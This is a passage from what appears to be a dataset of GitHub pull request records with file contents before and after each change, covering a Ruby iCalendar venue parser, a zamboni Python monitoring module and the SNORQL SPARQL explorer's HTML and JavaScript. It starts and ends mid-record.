content_venue for non-Upcoming event -- #{e}\")\n                nil\n              end\n            end\n          end\n\n          event.location = to_abstract_location(content_venue, :fallback => component.location)\n          events << event\n        end\n      end\n\n      return events\n    end\n\n\n    # Return an AbstractLocation extracted from an iCalendar input.\n    #\n    # Arguments:\n    # * value - String with iCalendar data to parse which contains a Vvenue item.\n    #\n    # Options:\n    # * :fallback - String to use as the title for the location if the +value+ doesn't contain a Vvenue.\n    def self.to_abstract_location(value, opts={})\n      value = \"\" if value.nil?\n      a = AbstractLocation.new\n     \n      # VVENUE entries are considered just Vcards,\n      # treating them as such.\n      if vcard_content = value.scan(VENUE_CONTENT_RE).first\n        \n        vcard_hash = parse_vcard_content(vcard_content)\n\n        a.title          = vcard_hash['NAME']\n        a.street_address = vcard_hash['ADDRESS']\n        a.locality       = vcard_hash['CITY']\n        a.region         = vcard_hash['REGION']\n        a.postal_code    = vcard_hash['POSTALCODE']\n        a.country        = vcard_hash['COUNTRY']\n\n        a.latitude, a.longitude = vcard_hash['GEO'].split(/;/).map(&:to_f)\n\n        return a\n      end\n  \n      if opts[:fallback].blank?\n        return nil\n      else\n        a.title = opts[:fallback]\n        return a\n      end\n    end\n  \n\n\n    # Return a vcard_hash from vcard content.\n    #\n    # Arguments:\n    # * value - String with content\n    #\n    #\n    \n    def self.parse_vcard_content(value)\n      vcards = RiCal.parse_string(value)\n     #constrain to 1 vcard per vvenue\n      vcard = vcards.first\n      # this is an interesting call here\n      # RiCal export of nonstandard-outside-of-RFC2445\n      # VVENUE into lines\n     \n      vcard_lines = vcard.export_properties_to(StringIO.new(''))\n      # munges vcard lines  \n      vcard_hash = v_card_munge(vcard_lines)\n\n      return vcard_hash    \n    end\n\n\n    # Return a vcard_hash from vcard_lines.\n    #\n    # Arguments:\n    # * value - vcard_lines\n    #\n    # \n    # \n\n    def self.v_card_munge(value)\n      vcard_hash = value.mash do |line|\n        # predeclare key, value in case no match\n        key = ''\n        value = ''\n        # if line is of the form key:value\n        # where the line has at least one colon\n        # do a non-greedy capture of chars not colon\n        # followed by a promiscuous match of remaining chars \n        if line.match(/^([^:]+?):(.*)$/)\n          key = $1\n          value = $2\n          # if the key has a semi-colon, it is, by spec, \n          # followed by a meta-qualifier;  \n          # in all cases, we only want the key and not the qualifier\n          # split always at least returns one item\n          # which will always be the item we want\n          # we only want the first: drop the second on match semi-colon\n          key = key.split(';').first\n        end\n        [key, value]\n      end\n      return vcard_hash\n    end\n\n    #\n  end\nend\n\n\n"}}
{"repo": "mozilla/zamboni", "pr_number": 3542, "title": "Remove solitude auth check from monitor Bug 1311724", "state": "closed", "merged_at": "2016-12-19T17:54:25Z", "additions": 0, "deletions": 14, "files_changed": ["mkt/site/monitors.py"], "files_before": {"mkt/site/monitors.py": "import os\nimport socket\nimport StringIO\nimport tempfile\nimport time\nimport traceback\n\nfrom django.conf import settings\n\nimport commonware.log\nimport elasticsearch\nimport requests\nfrom cache_nuggets.lib import memoize\nfrom PIL import Image\n\nfrom lib.crypto import packaged, receipt\nfrom lib.crypto.packaged import SigningError as PackageSigningError\nfrom lib.crypto.receipt import SigningError\nfrom lib.pay_server import client\nfrom mkt.site.storage_utils import local_storage\n\n\nmonitor_log = commonware.log.getLogger('z.monitor')\n\n\ndef memcache():\n    memcache = getattr(settings, 'CACHES', {}).get('default')\n    memcache_results = []\n    status = ''\n    if memcache and 'memcache' in memcache['BACKEND']:\n        hosts = memcache['LOCATION']\n        using_twemproxy = False\n        if not isinstance(hosts, (tuple, list)):\n            hosts = [hosts]\n        for host in hosts:\n            ip, port = host.split(':')\n\n            if ip == '127.0.0.1':\n                using_twemproxy = True\n\n            try:\n                s = socket.socket()\n                s.connect((ip, int(port)))\n            except Exception, e:\n                result = False\n                status = 'Failed to connect to memcached (%s): %s' % (host, e)\n                monitor_log.critical(status)\n            else:\n                result = True\n            finally:\n                s.close()\n\n            memcache_results.append((ip, port, result))\n        if (not using_twemproxy and len(hosts) > 1 and\n                len(memcache_results) < 2):\n            # If the number of requested hosts is greater than 1, but less\n            # than 2 replied, raise an error.\n            status = ('2+ memcache servers are required.'\n                      '%s available') % len(memcache_results)\n            monitor_log.warning(status)\n\n    # If we are in debug mode, don't worry about checking for memcache.\n    elif settings.DEBUG:\n        return status, []\n\n    if not memcache_results:\n        status = 'Memcache is not configured'\n        monitor_log.info(status)\n\n    return status, memcache_results\n\n\ndef libraries():\n    # Check Libraries and versions\n    libraries_results = []\n    status = ''\n    try:\n        Image.new('RGB', (16, 16)).save(StringIO.StringIO(), 'JPEG')\n        libraries_results.append(('PIL+JPEG', True, 'Got it!'))\n    except Exception, e:\n        msg = \"Failed to create a jpeg image: %s\" % e\n        libraries_results.append(('PIL+JPEG', False, msg))\n\n    try:\n        import M2Crypto  # NOQA\n        libraries_results.append(('M2Crypto', True, 'Got it!'))\n    except ImportError:\n        libraries_results.append(('M2Crypto', False, 'Failed to import'))\n\n    if settings.SPIDERMONKEY:\n        if os.access(settings.SPIDERMONKEY, os.R_OK):\n            libraries_results.append(('Spidermonkey is ready!', True, None))\n            # TODO: see if it works?\n        else:\n            msg = \"You said spidermonkey was at (%s)\" % settings.SPIDERMONKEY\n            libraries_results.append(('Spidermonkey', False, msg))\n    # If settings are debug and spidermonkey is empty,\n    # thorw this error.\n    elif settings.DEBUG and not settings.SPIDERMONKEY:\n        msg = 'SPIDERMONKEY is empty'\n        libraries_results.append(('Spidermonkey', True, msg))\n    else:\n        msg = \"Please set SPIDERMONKEY in your settings file.\"\n        libraries_results.append(('Spidermonkey', False, msg))\n\n    missing_libs = [l for l, s, m in libraries_results if not s]\n    if missing_libs:\n        status = 'missing libs: %s' % \",\".join(missing_libs)\n    return status, libraries_results\n\n\ndef elastic():\n    es = elasticsearch.Elasticsearch(hosts=settings.ES_HOSTS)\n    elastic_results = None\n    status = ''\n    try:\n        health = es.cluster.health()\n        if health['status'] == 'red':\n            status = 'ES is red'\n        elastic_results = health\n    except elasticsearch.ElasticsearchException:\n        monitor_log.exception('Failed to communicate with ES')\n        elastic_results = {'error': traceback.format_exc()}\n        status = 'traceback'\n\n    return status, elastic_results\n\n\ndef path():\n    # Check file paths / permissions\n    rw = (settings.TMP_PATH,\n          settings.NETAPP_STORAGE,\n          settings.UPLOADS_PATH,\n          settings.ADDONS_PATH,\n          settings.GUARDED_ADDONS_PATH,\n          settings.ADDON_ICONS_PATH,\n          settings.WEBSITE_ICONS_PATH,\n          settings.PREVIEWS_PATH,\n          settings.REVIEWER_ATTACHMENTS_PATH,)\n    r = [os.path.join(settings.ROOT, 'locale')]\n    filepaths = [(path, os.R_OK | os.W_OK, \"We want read + write\")\n                 for path in rw]\n    filepaths += [(path, os.R_OK, \"We want read\") for path in r]\n    filepath_results = []\n    filepath_status = True\n\n    for path, perms, notes in filepaths:\n        path_exists = os.path.exists(path)\n        path_perms = os.access(path, perms)\n        filepath_status = filepath_status and path_exists and path_perms\n        filepath_results.append((path, path_exists, path_perms, notes))\n\n    key_exists = os.path.exists(settings.WEBAPPS_RECEIPT_KEY)\n    key_perms = os.access(settings.WEBAPPS_RECEIPT_KEY, os.R_OK)\n    filepath_status = filepath_status and key_exists and key_perms\n    filepath_results.append(('settings.WEBAPPS_RECEIPT_KEY',\n                             key_exists, key_perms, 'We want read'))\n\n    status = filepath_status\n    status = ''\n    if not filepath_status:\n        status = 'check main status page for broken perms'\n\n    return status, filepath_results\n\n\n# The signer check actually asks the signing server to sign something. Do this\n# once per nagios check, once per web head might be a bit much. The memoize\n# slows it down a bit, by caching the result for 15 seconds.\n@memoize('monitors-signer', time=15)\ndef receipt_signer():\n    destination = getattr(settings, 'SIGNING_SERVER', None)\n    if not destination:\n        return '', 'Signer is not configured.'\n\n    # Just send some test data into the signer.\n    now = int(time.time())\n    not_valid = (settings.SITE_URL + '/not-valid')\n    data = {'detail': not_valid, 'exp': now + 3600, 'iat': now,\n            'iss': settings.SITE_URL,\n            'product': {'storedata': 'id=1', 'url': u'http://not-valid.com'},\n            'nbf': now, 'typ': 'purchase-receipt',\n            'reissue': not_valid,\n            'user': {'type': 'directed-identifier',\n                     'value': u'something-not-valid'},\n            'verify': not_valid\n            }\n\n    try:\n        result = receipt.sign(data)\n    except SigningError as err:\n        msg = 'Error on signing (%s): %s' % (destination, err)\n        return msg, msg\n\n    try:\n        cert, rest = receipt.crack(result)\n    except Exception as err:\n        msg = 'Error on cracking receipt (%s): %s' % (destination, err)\n        return msg, msg\n\n    # Check that the certs used to sign the receipts are not about to expire.\n    limit = now + (60 * 60 * 24)  # One day.\n    if cert['exp'] < limit:\n        msg = 'Cert will expire soon (%s)' % destination\n        return msg, msg\n\n    cert_err_msg = 'Error on checking public cert (%s): %s'\n    location = cert['iss']\n    try:\n        resp = requests.get(location, timeout=5, stream=False)\n    except Exception as err:\n        msg = cert_err_msg % (location, err)\n        return msg, msg\n\n    if not resp.ok:\n        msg = cert_err_msg % (location, resp.reason)\n        return msg, msg\n\n    cert_json = resp.json()\n    if not cert_json or 'jwk' not in cert_json:\n        msg = cert_err_msg % (location, 'Not valid JSON/JWK')\n        return msg, msg\n\n    return '', 'Signer working and up to date'\n\n\n# Like the receipt signer above this asks the packaged app signing\n# service to sign one for us.\n@memoize('monitors-package-signer', time=60)\ndef package_signer():\n    destination = getattr(settings, 'SIGNED_APPS_SERVER', None)\n    if not destination:\n        return '', 'Signer is not configured.'\n    app_path = os.path.join(os.path.dirname(os.path.abspath(__file__)),\n                            'nagios_check_packaged_app.zip')\n    signed_path = tempfile.mktemp()\n    try:\n        packaged.sign_app(local_storage.open(app_path), signed_path, None,\n                          False, local=True)\n        return '', 'Package signer working'\n    except PackageSigningError, e:\n        msg = 'Error on package signing (%s): %s' % (destination, e)\n        return msg, msg\n    finally:\n        local_storage.delete(signed_path)\n\n\n# Not called settings to avoid conflict with django.conf.settings.\ndef settings_check():\n    required = ['APP_PURCHASE_KEY', 'APP_PURCHASE_TYP', 'APP_PURCHASE_AUD',\n                'APP_PURCHASE_SECRET']\n    for key in required:\n        if not getattr(settings, key):\n            msg = 'Missing required value %s' % key\n            return msg, msg\n\n    return '', 'Required settings ok'\n\n\ndef solitude():\n    try:\n        res = client.api.services.request.get()\n    except Exception as err:\n        return repr(err), repr(err)\n    auth = res.get('authenticated', None)\n    if auth != 'marketplace':\n        msg = 'Solitude authenticated as: %s' % auth\n        return msg, msg\n\n    return '', 'Solitude authentication ok'\n"}, "files_after": {"mkt/site/monitors.py": "import os\nimport socket\nimport StringIO\nimport tempfile\nimport time\nimport traceback\n\nfrom django.conf import settings\n\nimport commonware.log\nimport elasticsearch\nimport requests\nfrom cache_nuggets.lib import memoize\nfrom PIL import Image\n\nfrom lib.crypto import packaged, receipt\nfrom lib.crypto.packaged import SigningError as PackageSigningError\nfrom lib.crypto.receipt import SigningError\nfrom mkt.site.storage_utils import local_storage\n\n\nmonitor_log = commonware.log.getLogger('z.monitor')\n\n\ndef memcache():\n    memcache = getattr(settings, 'CACHES', {}).get('default')\n    memcache_results = []\n    status = ''\n    if memcache and 'memcache' in memcache['BACKEND']:\n        hosts = memcache['LOCATION']\n        using_twemproxy = False\n        if not isinstance(hosts, (tuple, list)):\n            hosts = [hosts]\n        for host in hosts:\n            ip, port = host.split(':')\n\n            if ip == '127.0.0.1':\n                using_twemproxy = True\n\n            try:\n                s = socket.socket()\n                s.connect((ip, int(port)))\n            except Exception, e:\n                result = False\n                status = 'Failed to connect to memcached (%s): %s' % (host, e)\n                monitor_log.critical(status)\n            else:\n                result = True\n            finally:\n                s.close()\n\n            memcache_results.append((ip, port, result))\n        if (not using_twemproxy and len(hosts) > 1 and\n                len(memcache_results) < 2):\n            # If the number of requested hosts is greater than 1, but less\n            # than 2 replied, raise an error.\n            status = ('2+ memcache servers are required.'\n                      '%s available') % len(memcache_results)\n            monitor_log.warning(status)\n\n    # If we are in debug mode, don't worry about checking for memcache.\n    elif settings.DEBUG:\n        return status, []\n\n    if not memcache_results:\n        status = 'Memcache is not configured'\n        monitor_log.info(status)\n\n    return status, memcache_results\n\n\ndef libraries():\n    # Check Libraries and versions\n    libraries_results = []\n    status = ''\n    try:\n        Image.new('RGB', (16, 16)).save(StringIO.StringIO(), 'JPEG')\n        libraries_results.append(('PIL+JPEG', True, 'Got it!'))\n    except Exception, e:\n        msg = \"Failed to create a jpeg image: %s\" % e\n        libraries_results.append(('PIL+JPEG', False, msg))\n\n    try:\n        import M2Crypto  # NOQA\n        libraries_results.append(('M2Crypto', True, 'Got it!'))\n    except ImportError:\n        libraries_results.append(('M2Crypto', False, 'Failed to import'))\n\n    if settings.SPIDERMONKEY:\n        if os.access(settings.SPIDERMONKEY, os.R_OK):\n            libraries_results.append(('Spidermonkey is ready!', True, None))\n            # TODO: see if it works?\n        else:\n            msg = \"You said spidermonkey was at (%s)\" % settings.SPIDERMONKEY\n            libraries_results.append(('Spidermonkey', False, msg))\n    # If settings are debug and spidermonkey is empty,\n    # thorw this error.\n    elif settings.DEBUG and not settings.SPIDERMONKEY:\n        msg = 'SPIDERMONKEY is empty'\n        libraries_results.append(('Spidermonkey', True, msg))\n    else:\n        msg = \"Please set SPIDERMONKEY in your settings file.\"\n        libraries_results.append(('Spidermonkey', False, msg))\n\n    missing_libs = [l for l, s, m in libraries_results if not s]\n    if missing_libs:\n        status = 'missing libs: %s' % \",\".join(missing_libs)\n    return status, libraries_results\n\n\ndef elastic():\n    es = elasticsearch.Elasticsearch(hosts=settings.ES_HOSTS)\n    elastic_results = None\n    status = ''\n    try:\n        health = es.cluster.health()\n        if health['status'] == 'red':\n            status = 'ES is red'\n        elastic_results = health\n    except elasticsearch.ElasticsearchException:\n        monitor_log.exception('Failed to communicate with ES')\n        elastic_results = {'error': traceback.format_exc()}\n        status = 'traceback'\n\n    return status, elastic_results\n\n\ndef path():\n    # Check file paths / permissions\n    rw = (settings.TMP_PATH,\n          settings.NETAPP_STORAGE,\n          settings.UPLOADS_PATH,\n          settings.ADDONS_PATH,\n          settings.GUARDED_ADDONS_PATH,\n          settings.ADDON_ICONS_PATH,\n          settings.WEBSITE_ICONS_PATH,\n          settings.PREVIEWS_PATH,\n          settings.REVIEWER_ATTACHMENTS_PATH,)\n    r = [os.path.join(settings.ROOT, 'locale')]\n    filepaths = [(path, os.R_OK | os.W_OK, \"We want read + write\")\n                 for path in rw]\n    filepaths += [(path, os.R_OK, \"We want read\") for path in r]\n    filepath_results = []\n    filepath_status = True\n\n    for path, perms, notes in filepaths:\n        path_exists = os.path.exists(path)\n        path_perms = os.access(path, perms)\n        filepath_status = filepath_status and path_exists and path_perms\n        filepath_results.append((path, path_exists, path_perms, notes))\n\n    key_exists = os.path.exists(settings.WEBAPPS_RECEIPT_KEY)\n    key_perms = os.access(settings.WEBAPPS_RECEIPT_KEY, os.R_OK)\n    filepath_status = filepath_status and key_exists and key_perms\n    filepath_results.append(('settings.WEBAPPS_RECEIPT_KEY',\n                             key_exists, key_perms, 'We want read'))\n\n    status = filepath_status\n    status = ''\n    if not filepath_status:\n        status = 'check main status page for broken perms'\n\n    return status, filepath_results\n\n\n# The signer check actually asks the signing server to sign something. Do this\n# once per nagios check, once per web head might be a bit much. The memoize\n# slows it down a bit, by caching the result for 15 seconds.\n@memoize('monitors-signer', time=15)\ndef receipt_signer():\n    destination = getattr(settings, 'SIGNING_SERVER', None)\n    if not destination:\n        return '', 'Signer is not configured.'\n\n    # Just send some test data into the signer.\n    now = int(time.time())\n    not_valid = (settings.SITE_URL + '/not-valid')\n    data = {'detail': not_valid, 'exp': now + 3600, 'iat': now,\n            'iss': settings.SITE_URL,\n            'product': {'storedata': 'id=1', 'url': u'http://not-valid.com'},\n            'nbf': now, 'typ': 'purchase-receipt',\n            'reissue': not_valid,\n            'user': {'type': 'directed-identifier',\n                     'value': u'something-not-valid'},\n            'verify': not_valid\n            }\n\n    try:\n        result = receipt.sign(data)\n    except SigningError as err:\n        msg = 'Error on signing (%s): %s' % (destination, err)\n        return msg, msg\n\n    try:\n        cert, rest = receipt.crack(result)\n    except Exception as err:\n        msg = 'Error on cracking receipt (%s): %s' % (destination, err)\n        return msg, msg\n\n    # Check that the certs used to sign the receipts are not about to expire.\n    limit = now + (60 * 60 * 24)  # One day.\n    if cert['exp'] < limit:\n        msg = 'Cert will expire soon (%s)' % destination\n        return msg, msg\n\n    cert_err_msg = 'Error on checking public cert (%s): %s'\n    location = cert['iss']\n    try:\n        resp = requests.get(location, timeout=5, stream=False)\n    except Exception as err:\n        msg = cert_err_msg % (location, err)\n        return msg, msg\n\n    if not resp.ok:\n        msg = cert_err_msg % (location, resp.reason)\n        return msg, msg\n\n    cert_json = resp.json()\n    if not cert_json or 'jwk' not in cert_json:\n        msg = cert_err_msg % (location, 'Not valid JSON/JWK')\n        return msg, msg\n\n    return '', 'Signer working and up to date'\n\n\n# Like the receipt signer above this asks the packaged app signing\n# service to sign one for us.\n@memoize('monitors-package-signer', time=60)\ndef package_signer():\n    destination = getattr(settings, 'SIGNED_APPS_SERVER', None)\n    if not destination:\n        return '', 'Signer is not configured.'\n    app_path = os.path.join(os.path.dirname(os.path.abspath(__file__)),\n                            'nagios_check_packaged_app.zip')\n    signed_path = tempfile.mktemp()\n    try:\n        packaged.sign_app(local_storage.open(app_path), signed_path, None,\n                          False, local=True)\n        return '', 'Package signer working'\n    except PackageSigningError, e:\n        msg = 'Error on package signing (%s): %s' % (destination, e)\n        return msg, msg\n    finally:\n        local_storage.delete(signed_path)\n\n\n# Not called settings to avoid conflict with django.conf.settings.\ndef settings_check():\n    required = ['APP_PURCHASE_KEY', 'APP_PURCHASE_TYP', 'APP_PURCHASE_AUD',\n                'APP_PURCHASE_SECRET']\n    for key in required:\n        if not getattr(settings, key):\n            msg = 'Missing required value %s' % key\n            return msg, msg\n\n    return '', 'Required settings ok'\n"}}
{"repo": "kurtjx/SNORQL", "pr_number": 4, "title": "Configurable SNORQL instance and webjar creation", "state": "open", "merged_at": null, "additions": 135, "deletions": 13, "files_changed": ["snorql/index.html", "snorql/snorql.js"], "files_before": {"snorql/index.html": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Strict//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd\">\n<html xmlns=\"http://www.w3.org/1999/xhtml\" xml:lang=\"en\" lang=\"en\">\n  <head>\n    <title>Snorql: A SPARQL Explorer</title>\n    <link rel=\"stylesheet\" type=\"text/css\" href=\"style.css\" />\n    <script type=\"text/javascript\" src=\"prototype.js\"></script>\n    <script type=\"text/javascript\" src=\"scriptaculous/scriptaculous.js\"></script>\n    <script type=\"text/javascript\" src=\"sparql.js\"></script>\n    <script type=\"text/javascript\" src=\"namespaces.js\"></script>\n    <script type=\"text/javascript\" src=\"snorql.js\"></script>\n  </head>\n\n  <body class=\"snorql\" onload=\"snorql.start()\">\n    <div id=\"header\">\n      <h1 id=\"title\">Snorql: A SPARQL Explorer</h1>\n    </div>\n\n    <div class=\"section\" style=\"float: right; width: 8em\">\n      <h2>Browse:</h2>\n      <ul>\n        <li><a class=\"graph-link\" href=\"?browse=superclasses\">Super Classes</a></li>\n        <li><a class=\"graph-link\" href=\"?browse=classes\">Classes</a></li>\n        <li><a class=\"graph-link\" href=\"?browse=properties\">Properties</a></li>\n        <li id=\"browse-named-graphs-link\"><a href=\"?browse=graphs\">Named Graphs</a></li>\n      </ul>\n    </div>\n\n    <div id=\"default-graph-section\" class=\"section\" style=\"margin-right: 12em\">\n      <h2 style=\"display: inline\">GRAPH:</h2>\n      <p style=\"display: inline\">\n        Default graph.\n        <a href=\"?browse=graphs\">List named graphs</a>\n      </p>\n    </div>\n\n    <div id=\"named-graph-section\" class=\"section\" style=\"margin-right: 12em\">\n      <h2 style=\"display: inline\">GRAPH:</h2>\n      <p style=\"display: inline\">\n        <span id=\"selected-named-graph\">Named graph goes here</span>.\n        <a href=\"javascript:snorql.switchToDefaultGraph()\">Switch back to default graph</a>\n      </p>\n    </div>\n\n    <div class=\"section\" style=\"margin-right: 12em\">\n      <h2>SPARQL:</h2>\n      <pre id=\"prefixestext\"></pre>\n      <form id=\"queryform\" action=\"#\" method=\"get\"><div>\n        <input type=\"hidden\" name=\"query\" value=\"\" id=\"query\" />\n        <input type=\"hidden\" name=\"output\" value=\"json\" id=\"jsonoutput\" disabled=\"disabled\" />\n        <input type=\"hidden\" name=\"stylesheet\" value=\"\" id=\"stylesheet\" disabled=\"disabled\" />\n        <input type=\"hidden\" name=\"graph\" value=\"\" id=\"graph-uri\" disabled=\"disabled\" />\n      </div></form>\n      <div>\n        <textarea name=\"query\" rows=\"9\" cols=\"80\" id=\"querytext\"></textarea>\n        Results:\n        <select id=\"selectoutput\" onchange=\"snorql.updateOutputMode()\">\n          <option selected=\"selected\" value=\"browse\">Browse</option>\n          <option value=\"json\">as JSON</option>\n          <option value=\"xml\">as XML</option>\n          <option value=\"xslt\">as XML+XSLT</option>\n        </select>\n        <span id=\"xsltcontainer\"><span id=\"xsltinput\">\n          XSLT stylesheet URL:\n          <input id=\"xsltstylesheet\" type=\"text\" value=\"snorql/xml-to-html.xsl\" size=\"30\" />\n        </span></span>\n        <input type=\"button\" value=\"Go!\" onclick=\"snorql.submitQuery()\" />\n        <input type=\"button\" value=\"Reset\" onclick=\"snorql.resetQuery()\" />\n      </div>\n    </div>\n\n    <div class=\"section\">\n      <div id=\"result\"><span></span></div>\n    </div>\n\n    <div id=\"footer\">Powered by <a id=\"poweredby\" href=\"#\">Snorql</a></div>\n  </body>\n</html>\n", "snorql/snorql.js": "var snorql = new Snorql();\n\nString.prototype.trim = function () {\n    return this.replace(/^\\s*/, \"\").replace(/\\s*$/, \"\");\n}\n\nString.prototype.startsWith = function(str) {\n\treturn (this.match(\"^\"+str) == str);\n}\n\nfunction Snorql() {\n    // modify this._endpoint to point to your SPARQL endpoint\n    this._endpoint = document.location.href.match(/^([^?]*)snorql\\//)[1] + 'sparql';\n    // modify these to your likeing\n    this._poweredByLink = 'http://www4.wiwiss.fu-berlin.de/bizer/d2r-server/';\n    this._poweredByLabel = 'D2R Server';\n    this._enableNamedGraphs = false;\n\n    this._browserBase = null;\n    this._namespaces = {};\n    this._graph = null;\n    this._xsltDOM = null;\n\n    this.start = function() {\n        // TODO: Extract a QueryType class\n        this.setBrowserBase(document.location.href.replace(/\\?.*/, ''));\n        this._displayEndpointURL();\n        this._displayPoweredBy();\n        this.setNamespaces(D2R_namespacePrefixes);\n        this.updateOutputMode();\n        var match = document.location.href.match(/\\?(.*)/);\n        var queryString = match ? match[1] : '';\n        if (!queryString) {\n            document.getElementById('querytext').value = 'SELECT DISTINCT * WHERE {\\n  ?s ?p ?o\\n}\\nLIMIT 10';\n            this._updateGraph(null, false);\n            return;\n        }\n        var graph = queryString.match(/graph=([^&]*)/);\n        graph = graph ? decodeURIComponent(graph[1]) : null;\n        this._updateGraph(graph, false);\n        var browse = queryString.match(/browse=([^&]*)/);\n        var querytext = null;\n        if (browse && browse[1] == 'superclasses') {\n            var resultTitle = 'List of all super classes:';\n            var querytext = 'SELECT DISTINCT ?class\\n' +\n                    'WHERE { [] rdfs:subClassOf ?class }\\n' +\n                    'ORDER BY ?class';\n            var query = 'PREFIX rdfs: <http://www.w3.org/2000/01/rdf-schema#>\\n' + querytext;\n        }\n        if (browse && browse[1] == 'classes') {\n            var resultTitle = 'List of all classes:';\n            var query = 'SELECT DISTINCT ?class\\n' +\n                    'WHERE { [] a ?class }\\n' +\n                    'ORDER BY ?class';\n        }\n        if (browse && browse[1] == 'properties') {\n            var resultTitle = 'List of all properties:';\n            var query = 'SELECT DISTINCT ?property\\n' +\n                    'WHERE { [] ?property [] }\\n' +\n                    'ORDER BY ?property';\n        }\n        if (browse && browse[1] == 'graphs') {\n            var resultTitle = 'List of all named graphs:';\n            var querytext = 'SELECT DISTINCT ?namedgraph ?label\\n' +\n                    'WHERE {\\n' +\n                    '  GRAPH ?namedgraph { ?s ?p ?o }\\n' +\n                    '  OPTIONAL { ?namedgraph rdfs:label ?label }\\n' +\n                    '}\\n' +\n                    'ORDER BY ?namedgraph';\n            var query = 'PREFIX rdfs: <http://www.w3.org/2000/01/rdf-schema#>\\n' + querytext;\n        }\n        var match = queryString.match(/property=([^&]*)/);\n        if (match) {\n            var resultTitle = 'All uses of property ' + decodeURIComponent(match[1]) + ':';\n            var query = 'SELECT DISTINCT ?resource ?value\\n' +\n                    'WHERE { ?resource <' + decodeURIComponent(match[1]) + '> ?value }\\n' +\n                    'ORDER BY ?resource ?value';\n        }\n        var match = queryString.match(/class=([^&]*)/);\n        if (match) {\n            var resultTitle = 'All instances of class ' + decodeURIComponent(match[1]) + ':';\n            var query = 'SELECT DISTINCT ?instance\\n' +\n                    'WHERE { ?instance a <' + decodeURIComponent(match[1]) + '> }\\n' +\n                    'ORDER BY ?instance';\n        }\n        var match = queryString.match(/describe=([^&]*)/);\n        if (match) {\n            var resultTitle = 'Description of ' + decodeURIComponent(match[1]) + ':';\n            var query = 'SELECT DISTINCT ?property ?hasValue ?isValueOf\\n' +\n                    'WHERE {\\n' +\n                    '  { <' + decodeURIComponent(match[1]) + '> ?property ?hasValue }\\n' +\n                    '  UNION\\n' +\n                    '  { ?isValueOf ?property <' + decodeURIComponent(match[1]) + '> }\\n' +\n                    '}\\n' +\n                    'ORDER BY (!BOUND(?hasValue)) ?property ?hasValue ?isValueOf';\n        }\n        if (queryString.match(/query=/)) {\n            var resultTitle = 'SPARQL results:';\n            querytext = this._betterUnescape(queryString.match(/query=([^&]*)/)[1]);\n            var query = prefixes + querytext;\n        }\n        if (!querytext) {\n            querytext = query;\n        }\n        document.getElementById('querytext').value = querytext;\n        this.displayBusyMessage();\n        var service = new SPARQL.Service(this._endpoint);\n        if (this._graph) {\n            service.addDefaultGraph(this._graph);\n        }\n\n        // AndyL changed MIME type and success callback depending on query form...\n        var dummy = this;\n        \n   \t    var exp = /^\\s*(?:PREFIX\\s+\\w*:\\s+<[^>]*>\\s*)*(\\w+)\\s*.*/i;\n   \t    var match = exp.exec(querytext);\n   \t    if (match) {\n\t        if (match[1].toUpperCase() == 'ASK') {\n\t        \tservice.setOutput('boolean');\n\t        \tvar successFunc = function(value) {\n\t                dummy.displayBooleanResult(value, resultTitle);\n\t            };\n\t        } else if (match[1].toUpperCase() == 'CONSTRUCT' || match[1].toUpperCase() == 'DESCRIBE'){ // construct describe\n\t    \t\tservice.setOutput('rdf'); // !json\n\t    \t\tvar successFunc = function(model) {\n\t                dummy.displayRDFResult(model, resultTitle);\n\t            };\n\t        } else {\n\t        \tservice.setRequestHeader('Accept', 'application/sparql-results+json,*/*');\n\t        \tservice.setOutput('json');\n\t        \tvar successFunc = function(json) {\n\t        \t\tdummy.displayJSONResult(json, resultTitle);\n\t        \t};\n\t        }\n   \t    }\n   \t    \n        service.query(query, {\n            success: successFunc,\n            failure: function(report) {\n                var message = report.responseText.match(/<pre>([\\s\\S]*)<\\/pre>/);\n                if (message) {\n                    dummy.displayErrorMessage(message[1]);\n                } else {\n                    dummy.displayErrorMessage(report.responseText);\n                }\n            }\n        });\n    }\n\n    this.setBrowserBase = function(url) {\n        this._browserBase = url;\n    }\n\n    this._displayEndpointURL = function() {\n        var newTitle = 'Snorql: Exploring ' + this._endpoint;\n        this._display(document.createTextNode(newTitle), 'title');\n        document.title = newTitle;\n    }\n\n    this._displayPoweredBy = function() {\n        $('poweredby').href = this._poweredByLink;\n        $('poweredby').update(this._poweredByLabel);\n    }\n\n    this.setNamespaces = function(namespaces) {\n        this._namespaces = namespaces;\n        this._display(document.createTextNode(this._getPrefixes()), 'prefixestext');\n    }\n\n    this.switchToGraph = function(uri) {\n        this._updateGraph(uri, true);\n    }\n\n    this.switchToDefaultGraph = function() {\n        this._updateGraph(null, true);\n    }\n\n    this._updateGraph = function(uri, effect) {\n        if (!this._enableNamedGraphs) {\n            $('default-graph-section').hide();\n            $('named-graph-section').hide();\n            $('browse-named-graphs-link').hide();\n            return;\n        }\n        var changed = (uri != this._graph);\n        this._graph = uri;\n        var el = document.getElementById('graph-uri');\n        el.disabled = (this._graph == null);\n        el.value = this._graph;\n        if (this._graph == null) {\n            var show = 'default-graph-section';\n            var hide = 'named-graph-section';\n            $$('a.graph-link').each(function(link) {\n                match = link.href.match(/^(.*)[&?]graph=/);\n                if (match) link.href = match[1];\n            });\n        } else {\n            var show = 'named-graph-section';\n            var hide = 'default-graph-section';\n            $('selected-named-graph').update(this._graph);\n            var uri = this._graph;\n            $$('a.graph-link').each(function(link) {\n                match = link.href.match(/^(.*)[&?]graph=/);\n                if (!match) link.href = link.href + '&graph=' + uri;\n            });\n        }\n        $(hide).hide();\n        $(show).show();\n        if (effect && changed) {\n            new Effect.Highlight(show,\n                {startcolor: '#ffff00', endcolor: '#ccccff', resotrecolor: '#ccccff'});\n        }\n        $('graph-uri').disabled = (this._graph == null);\n        $('graph-uri').value = this._graph;\n    }\n\n    this.updateOutputMode = function() {\n        if (this._xsltDOM == null) {\n            this._xsltDOM = document.getElementById('xsltinput');\n        }\n        var el = document.getElementById('xsltcontainer');\n        while (el.childNodes.length > 0) {\n            el.removeChild(el.firstChild);\n        }\n        if (this._selectedOutputMode() == 'xslt') {\n            el.appendChild(this._xsltDOM);\n        }\n    }\n\n    this.resetQuery = function() {\n        document.location = this._browserBase;\n    }\n\n    this.submitQuery = function() {\n        var mode = this._selectedOutputMode();\n        if (mode == 'browse') {\n            document.getElementById('queryform').action = this._browserBase;\n            document.getElementById('query').value = document.getElementById('querytext').value;\n        } else {\n            document.getElementById('query').value = this._getPrefixes() + document.getElementById('querytext').value;\n            document.getElementById('queryform').action = this._endpoint;\n        }\n        